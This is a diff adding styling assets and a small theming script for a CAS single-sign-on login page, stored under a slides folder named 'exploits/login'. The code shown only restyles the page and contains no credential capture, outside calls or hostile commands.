+    .login-section {
+        flex: 1 1 500px;
+        /* according to flexbugs, flex-basis should be explicitly set for IE */
+        /* https://github.com/philipwalton/flexbugs#flexbug-4 */
+    }
+}
+
+/* flex-basis: auto works in IE with the column view,
+     but a specific value needs to be set for row view
+   */
+
+/* fix for not showing password reveal icon on MSEdge and MSIE */
+.pwd::-ms-reveal,
+.pwd::-ms-clear {
+    display: none;
+}
+
+@media (min-width: 1400px) {
+    .container-xxl {
+        max-width: 90%;
+    }
+}
\ No newline at end of file
--- a/content/slides/1337/exploits/login/bootstrap-grid.min.css
+++ b/content/slides/1337/exploits/login/bootstrap-grid.min.css
--- a/content/slides/1337/exploits/login/cas.css
+++ b/content/slides/1337/exploits/login/cas.css
+@import "_cas.css";
+
+:root {
+    --cas-theme-primary: #018786;
+}
+
+@font-face {
+    font-family: 'Barlow Regular';
+    font-style: normal;
+    font-weight: 400;
+    src: url('./Barlow-Regular.woff2') format('woff2');
+}
+/* @font-face {
+    font-family: 'Barlow Light';
+    font-style: normal;
+    font-weight: 400;
+    src: url('../fonts/Barlow-Light.woff2') format('woff2');
+} */
+
+body {
+    height: auto;
+    background: #006D82;
+    /* letter-spacing: 0.05rem; */
+}
+
+body, p, span, div, a, h1, h2, h3, h4, h5, h6 {
+    font-family: 'Barlow Regular' !important;
+}
+a {
+    text-decoration: none;
+}
+h2 {
+    color: #6D6D6C;
+}
+h3 {
+    font-size: 24px;
+    line-height: 150%;
+
+    color: #6D6D6C;
+    text-align: center;
+    margin: 0 0 24px;
+}
+.card {
+    width: 450px;
+    margin: 0 auto;
+    background: white;
+    border-radius: 24px;
+    padding: 24px;
+}
+
+button {
+    padding: 12px 32px;
+    background: #006D82 !important;
+    border-radius: 12px;
+    height: 48px;
+    border: none;
+    color: white;
+    font-weight: 700;
+}
+button:hover {
+    cursor: pointer;
+}
+
+.button-red {
+  background-color: #ef5350 !important;
+  border-color: #fcdddc;
+  color: #fcdddc;
+}
+
+.button-uca-beige {
+  color: #fff;
+  background-color: #d7b797 !important;
+}
+
+input {
+    max-width: 350px;
+    padding: 12px 16px;
+    height: 48px;
+    background: #FFFFFF;
+    border: 1px solid #CACAC9;
+    border-radius: 12px;
+    color: #4A4A49;
+}
+input:focus {
+    border: 1px solid #00AFA3 !important;
+}
+
+img.logo {
+    width: auto;
+    height: 100px;
+    padding: 24px 0;
+}
+
+.flex-column-center{
+    display: flex;
+    flex-direction: column;
+    align-items: center;
+}
+.margin-space {
+    margin: 12px;
+}
+.hide {
+    display:none;
+}
+
+#content {
+    box-shadow: none !important;
+}
+#sidebar {
+    text-align: justify;
+}
+#loginErrorsPanel {
+    color: #D60150;
+    font-weight: bold;
+}
+#loginErrorsPanel > p {
+    margin: 0;
+}
+
+#pmlinks a {
+    margin: 10px 0;
+}
+
+#links {
+    display: flex;
+    justify-content: center;
+    margin-top: 20px;
+}
+#links > a {
+    margin: 0 5px;
+    font-size: 0.9rem;
+}
+
+@media screen and (max-width: 450px) {
+    .card {
+        width: 100%;
+        border-radius: 0;
+        padding: 24px 12px;
+    }
+    #main-content {
+        margin: 0;
+    }
+    img.logo {
+        width: 100%;
+        height: auto;
+        padding: 16px;
+    }
+}
--- a/content/slides/1337/exploits/login/cas.js
+++ b/content/slides/1337/exploits/login/cas.js
+function resourceLoadedSuccessfully() {
+    $(document).ready(() => {
+
+        // Remove header, footer and others
+        $('body > div:lt(2)').remove();
+        $('footer').remove();
+        $('hr').remove();
+
+        // Add logo
+        const logo = document.createElement('img');
+        logo.src = '/cas/themes/uca/images/logo.png';
+        $('body').prepend(logo);
+
+        // Remove info service
+        $('#serviceui').remove();
+
+        // Remove many span and useless helpers in the input section
+        // and set the placeholder
+        $('#username').attr('placeholder', $('#usernameSection label > span > span > span').text());
+        $('#username').focus();
+        $('#password').attr('placeholder', $('#passwordSection label > span > span > span').text());
+        $('label > span').remove();
+        $('section .mdc-text-field-helper-line').remove();
+        // Remove the reveal password button
+        $('.reveal-password').remove();
+
+        // Remove all class to simplify the render
+        if (!$('#codeRequest').length)
+          $('*').removeClass();
+        $('body').addClass('flex-column-center');
+        $('body > img').addClass('logo');
+        $('body > div').addClass('card');
+
+        $('#loginForm > div').addClass('flex-column-center');
+        $('#loginForm > div > div').addClass('flex-column-center');
+        $('#login-form-controls').addClass('flex-column-center');
+        $('#login-form-controls > *:not(h3)').addClass('margin-space');
+        $('#login-form-controls > section').slice(-2).addClass('hide');
+
+        $('#pmlinks > div > span:nth-of-type(2)').addClass('flex-column-center');
+
+        // Page trusted device
+        $('#deviceName').val('UserAgent '+navigator.userAgent).hide();
+        $('#timeUnit').addClass('custom-select').addClass('mb-4').val('DAYS').hide();
+        $('#expiration').val(7);
+        // $('#expirationField').addClass('mb-3').show();
+        $("#registerform div:nth-child(4) button:nth-child(2)").addClass("button-uca-beige");
+
+        // Add locale links
+        const links = document.createElement('div');
+        links.id = 'links';
+        const linkFR = document.createElement('a');
+        linkFR.href = '?locale=fr';
+        linkFR.innerHTML = 'Français';
+        links.append(linkFR);
+        const linkEN = document.createElement('a');
+        linkEN.href = '?locale=en';
+        linkEN.innerHTML = 'English';
+        links.append(linkEN);
+        $('#main-content').append(links);
+    });
+}
--- a/content/slides/1337/exploits/login/css-vars-ponyfill.min.js
+++ b/content/slides/1337/exploits/login/css-vars-ponyfill.min.js
--- a/content/slides/1337/exploits/login/es5-shim.min.js
+++ b/content/slides/1337/exploits/login/es5-shim.min.js
--- a/content/slides/1337/exploits/login/favicon.ico
+++ b/content/slides/1337/exploits/login/favicon.ico
--- a/content/slides/1337/exploits/login/jquery.dataTables.min.css
+++ b/content/slides/1337/exploits/login/jquery.dataTables.min.css
+table.dataTable td.dt-control{text-align:center;cursor:pointer}table.dataTable td.dt-control:before{height:1em;width:1em;margin-top:-9px;display:inline-block;color:white;border:.15em solid white;border-radius:1em;box-shadow:0 0 .2em #444;box-sizing:content-box;text-align:center;text-indent:0 !important;font-family:"Courier New",Courier,monospace;line-height:1em;content:"+";background-color:#31b131}table.dataTable tr.dt-hasChild td.dt-control:before{content:"-";background-color:#d33333}table.dataTable thead>tr>th.sorting,table.dataTable thead>tr>th.sorting_asc,table.dataTable thead>tr>th.sorting_desc,table.dataTable thead>tr>th.sorting_asc_disabled,table.dataTable thead>tr>th.sorting_desc_disabled,table.dataTable thead>tr>td.sorting,table.dataTable thead>tr>td.sorting_asc,table.dataTable thead>tr>td.sorting_desc,table.dataTable thead>tr>td.sorting_asc_disabled,table.dataTable thead>tr>td.sorting_desc_disabled{cursor:pointer;position:relative;padding-right:26px}table.dataTable thead>tr>th.sorting:before,table.dataTable thead>tr>th.sorting:after,table.dataTable thead>tr>th.sorting_asc:before,table.dataTable thead>tr>th.sorting_asc:after,table.dataTable thead>tr>th.sorting_desc:before,table.dataTable thead>tr>th.sorting_desc:after,table.dataTable thead>tr>th.sorting_asc_disabled:before,table.dataTable thead>tr>th.sorting_asc_disabled:after,table.dataTable thead>tr>th.sorting_desc_disabled:before,table.dataTable thead>tr>th.sorting_desc_disabled:after,table.dataTable thead>tr>td.sorting:before,table.dataTable thead>tr>td.sorting:after,table.dataTable thead>tr>td.sorting_asc:before,table.dataTable thead>tr>td.sorting_asc:after,table.dataTable thead>tr>td.sorting_desc:before,table.dataTable thead>tr>td.sorting_desc:after,table.dataTable thead>tr>td.sorting_asc_disabled:before,table.dataTable thead>tr>td.sorting_asc_disabled:after,table.dataTable thead>tr>td.sorting_desc_disabled:before,table.dataTable thead>tr>td.sorting_desc_disabled:after{position:absolute;display:block;opacity:.125;right:10px;line-height:9px;font-size:.9em}table.dataTable thead>tr>th.sorting:before,table.dataTable thead>tr>th.sorting_asc:before,table.dataTable thead>tr>th.sorting_desc:before,table.dataTable thead>tr>th.sorting_asc_disabled:before,table.dataTable thead>tr>th.sorting_desc_disabled:before,table.dataTable thead>tr>td.sorting:before,table.dataTable thead>tr>td.sorting_asc:before,table.dataTable thead>tr>td.sorting_desc:before,table.dataTable thead>tr>td.sorting_asc_disabled:before,table.dataTable thead>tr>td.sorting_desc_disabled:before{bottom:50%;content:"▴"}table.dataTable thead>tr>th.sorting:after,table.dataTable thead>tr>th.sorting_asc:after,table.dataTable thead>tr>th.sorting_desc:after,table.dataTable thead>tr>th.sorting_asc_disabled:after,table.dataTable thead>tr>th.sorting_desc_disabled:after,table.dataTable thead>tr>td.sorting:after,table.dataTable thead>tr>td.sorting_asc:after,table.dataTable thead>tr>td.sorting_desc:after,table.dataTable thead>tr>td.sorting_asc_disabled:after,table.dataTable thead>tr>td.sorting_desc_disabled:after{top:50%;content:"▾"}table.dataTable thead>tr>th.sorting_asc:before,table.dataTable thead>tr>th.sorting_desc:after,table.dataTable thead>tr>td.sorting_asc:before,table.dataTable thead>tr>td.sorting_desc:after{opacity:.6}table.dataTable thead>tr>th.sorting_desc_disabled:after,table.dataTable thead>tr>th.sorting_asc_disabled:before,table.dataTable thead>tr>td.sorting_desc_disabled:after,table.dataTable thead>tr>td.sorting_asc_disabled:before{display:none}table.dataTable thead>tr>th:active,table.dataTable thead>tr>td:active{outline:none}div.dataTables_scrollBody table.dataTable thead>tr>th:before,div.dataTables_scrollBody table.dataTable thead>tr>th:after,div.dataTables_scrollBody table.dataTable thead>tr>td:before,div.dataTables_scrollBody table.dataTable thead>tr>td:after{display:none}div.dataTables_processing{position:absolute;top:50%;left:50%;width:200px;margin-left:-100px;margin-top:-26px;text-align:center;padding:2px}div.dataTables_processing>div:last-child{position:relative;width:80px;height:15px;margin:1em auto}div.dataTables_processing>div:last-child>div{position:absolute;top:0;width:13px;height:13px;border-radius:50%;background:rgba(13, 110, 253, 0.9);animation-timing-function:cubic-bezier(0, 1, 1, 0)}div.dataTables_processing>div:last-child>div:nth-child(1){left:8px;animation:datatables-loader-1 .6s infinite}div.dataTables_processing>div:last-child>div:nth-child(2){left:8px;animation:datatables-loader-2 .6s infinite}div.dataTables_processing>div:last-child>div:nth-child(3){left:32px;animation:datatables-loader-2 .6s infinite}div.dataTables_processing>div:last-child>div:nth-child(4){left:56px;animation:datatables-loader-3 .6s infinite}@keyframes datatables-loader-1{0%{transform:scale(0)}100%{transform:scale(1)}}@keyframes datatables-loader-3{0%{transform:scale(1)}100%{transform:scale(0)}}@keyframes datatables-loader-2{0%{transform:translate(0, 0)}100%{transform:translate(24px, 0)}}table.dataTable.nowrap th,table.dataTable.nowrap td{white-space:nowrap}table.dataTable th.dt-left,table.dataTable td.dt-left{text-align:left}table.dataTable th.dt-center,table.dataTable td.dt-center,table.dataTable td.dataTables_empty{text-align:center}table.dataTable th.dt-right,table.dataTable td.dt-right{text-align:right}table.dataTable th.dt-justify,table.dataTable td.dt-justify{text-align:justify}table.dataTable th.dt-nowrap,table.dataTable td.dt-nowrap{white-space:nowrap}table.dataTable thead th,table.dataTable thead td,table.dataTable tfoot th,table.dataTable tfoot td{text-align:left}table.dataTable thead th.dt-head-left,table.dataTable thead td.dt-head-left,table.dataTable tfoot th.dt-head-left,table.dataTable tfoot td.dt-head-left{text-align:left}table.dataTable thead th.dt-head-center,table.dataTable thead td.dt-head-center,table.dataTable tfoot th.dt-head-center,table.dataTable tfoot td.dt-head-center{text-align:center}table.dataTable thead th.dt-head-right,table.dataTable thead td.dt-head-right,table.dataTable tfoot th.dt-head-right,table.dataTable tfoot td.dt-head-right{text-align:right}table.dataTable thead th.dt-head-justify,table.dataTable thead td.dt-head-justify,table.dataTable tfoot th.dt-head-justify,table.dataTable tfoot td.dt-head-justify{text-align:justify}table.dataTable thead th.dt-head-nowrap,table.dataTable thead td.dt-head-nowrap,table.dataTable tfoot th.dt-head-nowrap,table.dataTable tfoot td.dt-head-nowrap{white-space:nowrap}table.dataTable tbody th.dt-body-left,table.dataTable tbody td.dt-body-left{text-align:left}table.dataTable tbody th.dt-body-center,table.dataTable tbody td.dt-body-center{text-align:center}table.dataTable tbody th.dt-body-right,table.dataTable tbody td.dt-body-right{text-align:right}table.dataTable tbody th.dt-body-justify,table.dataTable tbody td.dt-body-justify{text-align:justify}table.dataTable tbody th.dt-body-nowrap,table.dataTable tbody td.dt-body-nowrap{white-space:nowrap}table.dataTable{width:100%;margin:0 auto;clear:both;border-collapse:separate;border-spacing:0}table.dataTable thead th,table.dataTable tfoot th{font-weight:bold}table.dataTable thead th,table.dataTable thead td{padding:10px;border-bottom:1px solid rgba(0, 0, 0, 0.3)}table.dataTable thead th:active,table.dataTable thead td:active{outline:none}table.dataTable tfoot th,table.dataTable tfoot td{padding:10px 10px 6px 10px;border-top:1px solid rgba(0, 0, 0, 0.3)}table.dataTable tbody tr{background-color:transparent}table.dataTable tbody tr.selected>*{box-shadow:inset 0 0 0 9999px rgba(13, 110, 253, 0.9);color:white}table.dataTable tbody th,table.dataTable tbody td{padding:8px 10px}table.dataTable.row-border tbody th,table.dataTable.row-border tbody td,table.dataTable.display tbody th,table.dataTable.display tbody td{border-top:1px solid rgba(0, 0, 0, 0.15)}table.dataTable.row-border tbody tr:first-child th,table.dataTable.row-border tbody tr:first-child td,table.dataTable.display tbody tr:first-child th,table.dataTable.display tbody tr:first-child td{border-top:none}table.dataTable.cell-border tbody th,table.dataTable.cell-border tbody td{border-top:1px solid rgba(0, 0, 0, 0.15);border-right:1px solid rgba(0, 0, 0, 0.15)}table.dataTable.cell-border tbody tr th:first-child,table.dataTable.cell-border tbody tr td:first-child{border-left:1px solid rgba(0, 0, 0, 0.15)}table.dataTable.cell-border tbody tr:first-child th,table.dataTable.cell-border tbody tr:first-child td{border-top:none}table.dataTable.stripe>tbody>tr.odd>*,table.dataTable.display>tbody>tr.odd>*{box-shadow:inset 0 0 0 9999px rgba(0, 0, 0, 0.023)}table.dataTable.stripe>tbody>tr.odd.selected>*,table.dataTable.display>tbody>tr.odd.selected>*{box-shadow:inset 0 0 0 9999px rgba(13, 110, 253, 0.923)}table.dataTable.hover>tbody>tr:hover>*,table.dataTable.display>tbody>tr:hover>*{box-shadow:inset 0 0 0 9999px rgba(0, 0, 0, 0.035)}table.dataTable.hover>tbody>tr.selected:hover>*,table.dataTable.display>tbody>tr.selected:hover>*{box-shadow:inset 0 0 0 9999px rgba(13, 110, 253, 0.935)}table.dataTable.order-column>tbody tr>.sorting_1,table.dataTable.order-column>tbody tr>.sorting_2,table.dataTable.order-column>tbody tr>.sorting_3,table.dataTable.display>tbody tr>.sorting_1,table.dataTable.display>tbody tr>.sorting_2,table.dataTable.display>tbody tr>.sorting_3{box-shadow:inset 0 0 0 9999px rgba(0, 0, 0, 0.019)}table.dataTable.order-column>tbody tr.selected>.sorting_1,table.dataTable.order-column>tbody tr.selected>.sorting_2,table.dataTable.order-column>tbody tr.selected>.sorting_3,table.dataTable.display>tbody tr.selected>.sorting_1,table.dataTable.display>tbody tr.selected>.sorting_2,table.dataTable.display>tbody tr.selected>.sorting_3{box-shadow:inset 0 0 0 9999px rgba(13, 110, 253, 0.919)}table.dataTable.display>tbody>tr.odd>.sorting_1,table.dataTable.order-column.stripe>tbody>tr.odd>.sorting_1{box-shadow:inset 0 0 0 9999px rgba(0, 0, 0, 0.054)}table.dataTable.display>tbody>tr.odd>.sorting_2,table.dataTable.order-column.stripe>tbody>tr.odd>.sorting_2{box-shadow:inset 0 0 0 9999px rgba(0, 0, 0, 0.047)}table.dataTable.display>tbody>tr.odd>.sorting_3,table.dataTable.order-column.stripe>tbody>tr.odd>.sorting_3{box-shadow:inset 0 0 0 9999px rgba(0, 0, 0, 0.039)}table.dataTable.display>tbody>tr.odd.selected>.sorting_1,table.dataTable.order-column.stripe>tbody>tr.odd.selected>.sorting_1{box-shadow:inset 0 0 0 9999px rgba(13, 110, 253, 0.954)}table.dataTable.display>tbody>tr.odd.selected>.sorting_2,table.dataTable.order-column.stripe>tbody>tr.odd.selected>.sorting_2{box-shadow:inset 0 0 0 9999px rgba(13, 110, 253, 0.947)}table.dataTable.display>tbody>tr.odd.selected>.sorting_3,table.dataTable.order-column.stripe>tbody>tr.odd.selected>.sorting_3{box-shadow:inset 0 0 0 9999px rgba(13, 110, 253, 0.939)}table.dataTable.display>tbody>tr.even>.sorting_1,table.dataTable.order-column.stripe>tbody>tr.even>.sorting_1{box-shadow:inset 0 0 0 9999px rgba(0, 0, 0, 0.019)}table.dataTable.display>tbody>tr.even>.sorting_2,table.dataTable.order-column.stripe>tbody>tr.even>.sorting_2{box-shadow:inset 0 0 0 9999px rgba(0, 0, 0, 0.011)}table.dataTable.display>tbody>tr.even>.sorting_3,table.dataTable.order-column.stripe>tbody>tr.even>.sorting_3{box-shadow:inset 0 0 0 9999px rgba(0, 0, 0, 0.003)}table.dataTable.display>tbody>tr.even.selected>.sorting_1,table.dataTable.order-column.stripe>tbody>tr.even.selected>.sorting_1{box-shadow:inset 0 0 0 9999px rgba(13, 110, 253, 0.919)}table.dataTable.display>tbody>tr.even.selected>.sorting_2,table.dataTable.order-column.stripe>tbody>tr.even.selected>.sorting_2{box-shadow:inset 0 0 0 9999px rgba(13, 110, 253, 0.911)}table.dataTable.display>tbody>tr.even.selected>.sorting_3,table.dataTable.order-column.stripe>tbody>tr.even.selected>.sorting_3{box-shadow:inset 0 0 0 9999px rgba(13, 110, 253, 0.903)}table.dataTable.display tbody tr:hover>.sorting_1,table.dataTable.order-column.hover tbody tr:hover>.sorting_1{box-shadow:inset 0 0 0 9999px rgba(0, 0, 0, 0.082)}table.dataTable.display tbody tr:hover>.sorting_2,table.dataTable.order-column.hover tbody tr:hover>.sorting_2{box-shadow:inset 0 0 0 9999px rgba(0, 0, 0, 0.074)}table.dataTable.display tbody tr:hover>.sorting_3,table.dataTable.order-column.hover tbody tr:hover>.sorting_3{box-shadow:inset 0 0 0 9999px rgba(0, 0, 0, 0.062)}table.dataTable.display tbody tr:hover.selected>.sorting_1,table.dataTable.order-column.hover tbody tr:hover.selected>.sorting_1{box-shadow:inset 0 0 0 9999px rgba(13, 110, 253, 0.982)}table.dataTable.display tbody tr:hover.selected>.sorting_2,table.dataTable.order-column.hover tbody tr:hover.selected>.sorting_2{box-shadow:inset 0 0 0 9999px rgba(13, 110, 253, 0.974)}table.dataTable.display tbody tr:hover.selected>.sorting_3,table.dataTable.order-column.hover tbody tr:hover.selected>.sorting_3{box-shadow:inset 0 0 0 9999px rgba(13, 110, 253, 0.962)}table.dataTable.no-footer{border-bottom:1px solid rgba(0, 0, 0, 0.3)}table.dataTable.compact thead th,table.dataTable.compact thead td{padding:4px 17px}table.dataTable.compact tfoot th,table.dataTable.compact tfoot td{padding:4px}table.dataTable.compact tbody th,table.dataTable.compact tbody td{padding:4px}table.dataTable th,table.dataTable td{box-sizing:content-box}.dataTables_wrapper{position:relative;clear:both}.dataTables_wrapper .dataTables_length{float:left}.dataTables_wrapper .dataTables_length select{border:1px solid #aaa;border-radius:3px;padding:5px;background-color:transparent;padding:4px}.dataTables_wrapper .dataTables_filter{float:right;text-align:right}.dataTables_wrapper .dataTables_filter input{border:1px solid #aaa;border-radius:3px;padding:5px;background-color:transparent;margin-left:3px}.dataTables_wrapper .dataTables_info{clear:both;float:left;padding-top:.755em}.dataTables_wrapper .dataTables_paginate{float:right;text-align:right;padding-top:.25em}.dataTables_wrapper .dataTables_paginate .paginate_button{box-sizing:border-box;display:inline-block;min-width:1.5em;padding:.5em 1em;margin-left:2px;text-align:center;text-decoration:none !important;cursor:pointer;color:#333 !important;border:1px solid transparent;border-radius:2px}.dataTables_wrapper .dataTables_paginate .paginate_button.current,.dataTables_wrapper .dataTables_paginate .paginate_button.current:hover{color:#333 !important;border:1px solid rgba(0, 0, 0, 0.3);background-color:rgba(230, 230, 230, 0.1);background:-webkit-gradient(linear, left top, left bottom, color-stop(0%, rgba(230, 230, 230, 0.1)), color-stop(100%, rgba(0, 0, 0, 0.1)));background:-webkit-linear-gradient(top, rgba(230, 230, 230, 0.1) 0%, rgba(0, 0, 0, 0.1) 100%);background:-moz-linear-gradient(top, rgba(230, 230, 230, 0.1) 0%, rgba(0, 0, 0, 0.1) 100%);background:-ms-linear-gradient(top, rgba(230, 230, 230, 0.1) 0%, rgba(0, 0, 0, 0.1) 100%);background:-o-linear-gradient(top, rgba(230, 230, 230, 0.1) 0%, rgba(0, 0, 0, 0.1) 100%);background:linear-gradient(to bottom, rgba(230, 230, 230, 0.1) 0%, rgba(0, 0, 0, 0.1) 100%)}.dataTables_wrapper .dataTables_paginate .paginate_button.disabled,.dataTables_wrapper .dataTables_paginate .paginate_button.disabled:hover,.dataTables_wrapper .dataTables_paginate .paginate_button.disabled:active{cursor:default;color:#666 !important;border:1px solid transparent;background:transparent;box-shadow:none}.dataTables_wrapper .dataTables_paginate .paginate_button:hover{color:white !important;border:1px solid #111;background-color:#585858;background:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #585858), color-stop(100%, #111));background:-webkit-linear-gradient(top, #585858 0%, #111 100%);background:-moz-linear-gradient(top, #585858 0%, #111 100%);background:-ms-linear-gradient(top, #585858 0%, #111 100%);background:-o-linear-gradient(top, #585858 0%, #111 100%);background:linear-gradient(to bottom, #585858 0%, #111 100%)}.dataTables_wrapper .dataTables_paginate .paginate_button:active{outline:none;background-color:#2b2b2b;background:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #2b2b2b), color-stop(100%, #0c0c0c));background:-webkit-linear-gradient(top, #2b2b2b 0%, #0c0c0c 100%);background:-moz-linear-gradient(top, #2b2b2b 0%, #0c0c0c 100%);background:-ms-linear-gradient(top, #2b2b2b 0%, #0c0c0c 100%);background:-o-linear-gradient(top, #2b2b2b 0%, #0c0c0c 100%);background:linear-gradient(to bottom, #2b2b2b 0%, #0c0c0c 100%);box-shadow:inset 0 0 3px #111}.dataTables_wrapper .dataTables_paginate .ellipsis{padding:0 1em}.dataTables_wrapper .dataTables_length,.dataTables_wrapper .dataTables_filter,.dataTables_wrapper .dataTables_info,.dataTables_wrapper .dataTables_processing,.dataTables_wrapper .dataTables_paginate{color:#333}.dataTables_wrapper .dataTables_scroll{clear:both}.dataTables_wrapper .dataTables_scroll div.dataTables_scrollBody{-webkit-overflow-scrolling:touch}.dataTables_wrapper .dataTables_scroll div.dataTables_scrollBody>table>thead>tr>th,.dataTables_wrapper .dataTables_scroll div.dataTables_scrollBody>table>thead>tr>td,.dataTables_wrapper .dataTables_scroll div.dataTables_scrollBody>table>tbody>tr>th,.dataTables_wrapper .dataTables_scroll div.dataTables_scrollBody>table>tbody>tr>td{vertical-align:middle}.dataTables_wrapper .dataTables_scroll div.dataTables_scrollBody>table>thead>tr>th>div.dataTables_sizing,.dataTables_wrapper .dataTables_scroll div.dataTables_scrollBody>table>thead>tr>td>div.dataTables_sizing,.dataTables_wrapper .dataTables_scroll div.dataTables_scrollBody>table>tbody>tr>th>div.dataTables_sizing,.dataTables_wrapper .dataTables_scroll div.dataTables_scrollBody>table>tbody>tr>td>div.dataTables_sizing{height:0;overflow:hidden;margin:0 !important;padding:0 !important}.dataTables_wrapper.no-footer .dataTables_scrollBody{border-bottom:1px solid rgba(0, 0, 0, 0.3)}.dataTables_wrapper.no-footer div.dataTables_scrollHead table.dataTable,.dataTables_wrapper.no-footer div.dataTables_scrollBody>table{border-bottom:none}.dataTables_wrapper:after{visibility:hidden;display:block;content:"";clear:both;height:0}@media screen and (max-width: 767px){.dataTables_wrapper .dataTables_info,.dataTables_wrapper .dataTables_paginate{float:none;text-align:center}.dataTables_wrapper .dataTables_paginate{margin-top:.5em}}@media screen and (max-width: 640px){.dataTables_wrapper .dataTables_length,.dataTables_wrapper .dataTables_filter{float:none;text-align:center}.dataTables_wrapper .dataTables_filter{margin-top:.5em}}
--- a/content/slides/1337/exploits/login/jquery.dataTables.min.js
+++ b/content/slides/1337/exploits/login/jquery.dataTables.min.js
--- a/content/slides/1337/exploits/login/jquery.min.js
+++ b/content/slides/1337/exploits/login/jquery.min.js
--- a/content/slides/1337/exploits/login/logo.png
+++ b/content/slides/1337/exploits/login/logo.png
--- a/content/slides/1337/exploits/login/material-components-web.min.css
+++ b/content/slides/1337/exploits/login/material-components-web.min.css
--- a/content/slides/1337/exploits/login/material-components-web.min.js
+++ b/content/slides/1337/exploits/login/material-components-web.min.js
--- a/content/slides/1337/exploits/login/materialdesignicons.min.css
+++ b/content/slides/1337/exploits/login/materialdesignicons.min.css
--- a/content/slides/1337/exploits/login/normalize.css
+++ b/content/slides/1337/exploits/login/normalize.css
+/*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */
+
+/* Document
+   ========================================================================== */
+
+/**
+ * 1. Correct the line height in all browsers.
+ * 2. Prevent adjustments of font size after orientation changes in iOS.
+ */
+
+html {
+  line-height: 1.15; /* 1 */
+  -webkit-text-size-adjust: 100%; /* 2 */
+}
+
+/* Sections
+   ========================================================================== */
+
+/**
+ * Remove the margin in all browsers.
+ */
+
+body {
+  margin: 0;
+}
+
+/**
+ * Render the `main` element consistently in IE.
+ */
+
+main {
+  display: block;
+}
+
+/**
+ * Correct the font size and margin on `h1` elements within `section` and
+ * `article` contexts in Chrome, Firefox, and Safari.
+ */
+
+h1 {
+  font-size: 2em;
+  margin: 0.67em 0;
+}
+
+/* Grouping content
+   ========================================================================== */
+
+/**
+ * 1. Add the correct box sizing in Firefox.
+ * 2. Show the overflow in Edge and IE.
+ */
+
+hr {
+  box-sizing: content-box; /* 1 */
+  height: 0; /* 1 */
+  overflow: visible; /* 2 */
+}
+
+/**
+ * 1. Correct the inheritance and scaling of font size in all browsers.
+ * 2. Correct the odd `em` font sizing in all browsers.
+ */
+
+pre {
+  font-family: monospace, monospace; /* 1 */
+  font-size: 1em; /* 2 */
+}
+
+/* Text-level semantics
+   ========================================================================== */
+
+/**
+ * Remove the gray background on active links in IE 10.
+ */
+
+a {
+  background-color: transparent;
+}
+
+/**
+ * 1. Remove the bottom border in Chrome 57-
+ * 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari.
+ */
+
+abbr[title] {
+  border-bottom: none; /* 1 */
+  text-decoration: underline; /* 2 */
+  text-decoration: underline dotted; /* 2 */
+}
+
+/**
+ * Add the correct font weight in Chrome, Edge, and Safari.
+ */
+
+b,
+strong {
+  font-weight: bolder;
+}
+
+/**
+ * 1. Correct the inheritance and scaling of font size in all browsers.
+ * 2. Correct the odd `em` font sizing in all browsers.
+ */
+
+code,
+kbd,
+samp {
+  font-family: monospace, monospace; /* 1 */
+  font-size: 1em; /* 2 */
+}
+
+/**
+ * Add the correct font size in all browsers.
+ */
+
+small {
+  font-size: 80%;
+}
+
+/**
+ * Prevent `sub` and `sup` elements from affecting the line height in
+ * all browsers.
+ */
+
+sub,
+sup {
+  font-size: 75%;
+  line-height: 0;
+  position: relative;
+  vertical-align: baseline;
+}
+
+sub {
+  bottom: -0.25em;
+}
+
+sup {
+  top: -0.5em;
+}
+
+/* Embedded content
+   ========================================================================== */
+
+/**
+ * Remove the border on images inside links in IE 10.
+ */
+
+img {
+  border-style: none;
+}
+
+/* Forms
+   ========================================================================== */
+
+/**
+ * 1. Change the font styles in all browsers.
+ * 2. Remove the margin in Firefox and Safari.
+ */
+
+button,
+input,
+optgroup,
+select,
+textarea {
+  font-family: inherit; /* 1 */
+  font-size: 100%; /* 1 */
+  line-height: 1.15; /* 1 */
+  margin: 0; /* 2 */
+}
+
+/**
+ * Show the overflow in IE.
+ * 1. Show the overflow in Edge.
+ */
+
+button,
+input { /* 1 */
+  overflow: visible;
+}
+
+/**
+ * Remove the inheritance of text transform in Edge, Firefox, and IE.
+ * 1. Remove the inheritance of text transform in Firefox.
+ */
+
+button,
+select { /* 1 */
+  text-transform: none;
+}
+
+/**
+ * Correct the inability to style clickable types in iOS and Safari.
+ */
+
+button,
+[type="button"],
+[type="reset"],
+[type="submit"] {
+  -webkit-appearance: button;
+}
+
+/**
+ * Remove the inner border and padding in Firefox.
+ */
+
+button::-moz-focus-inner,
+[type="button"]::-moz-focus-inner,
+[type="reset"]::-moz-focus-inner,
+[type="submit"]::-moz-focus-inner {
+  border-style: none;
+  padding: 0;
+}
+
+/**
+ * Restore the focus styles unset by the previous rule.
+ */
+
+button:-moz-focusring,
+[type="button"]:-moz-focusring,
+[type="reset"]:-moz-focusring,
+[type="submit"]:-moz-focusring {
+  outline: 1px dotted ButtonText;
+}
+
+/**
+ * Correct the padding in Firefox.
+ */
+
+fieldset {
+  padding: 0.35em 0.75em 0.625em;
+}
+
+/**
+ * 1. Correct the text wrapping in Edge and IE.
+ * 2. Correct the color inheritance from `fieldset` elements in IE.
+ * 3. Remove the padding so developers are not caught out when they zero out
+ *    `fieldset` elements in all browsers.
+ */
+
+legend {
+  box-sizing: border-box; /* 1 */
+  color: inherit; /* 2 */
+  display: table; /* 1 */
+  max-width: 100%; /* 1 */
+  padding: 0; /* 3 */
+  white-space: normal; /* 1 */
+}
+
+/**
+ * Add the correct vertical alignment in Chrome, Firefox, and Opera.
+ */
+
+progress {
+  vertical-align: baseline;
+}
+
+/**
+ * Remove the default vertical scrollbar in IE 10+.
+ */
+
+textarea {
+  overflow: auto;
+}
+
+/**
+ * 1. Add the correct box sizing in IE 10.
+ * 2. Remove the padding in IE 10.
+ */
+
+[type="checkbox"],
+[type="radio"] {
+  box-sizing: border-box; /* 1 */
+  padding: 0; /* 2 */
+}
+
+/**
+ * Correct the cursor style of increment and decrement buttons in Chrome.
+ */
+
+[type="number"]::-webkit-inner-spin-button,
+[type="number"]::-webkit-outer-spin-button {
+  height: auto;
+}
+
+/**
+ * 1. Correct the odd appearance in Chrome and Safari.
+ * 2. Correct the outline style in Safari.
+ */
+
+[type="search"] {
+  -webkit-appearance: textfield; /* 1 */
+  outline-offset: -2px; /* 2 */
+}
+
+/**
+ * Remove the inner padding in Chrome and Safari on macOS.
+ */
+
+[type="search"]::-webkit-search-decoration {
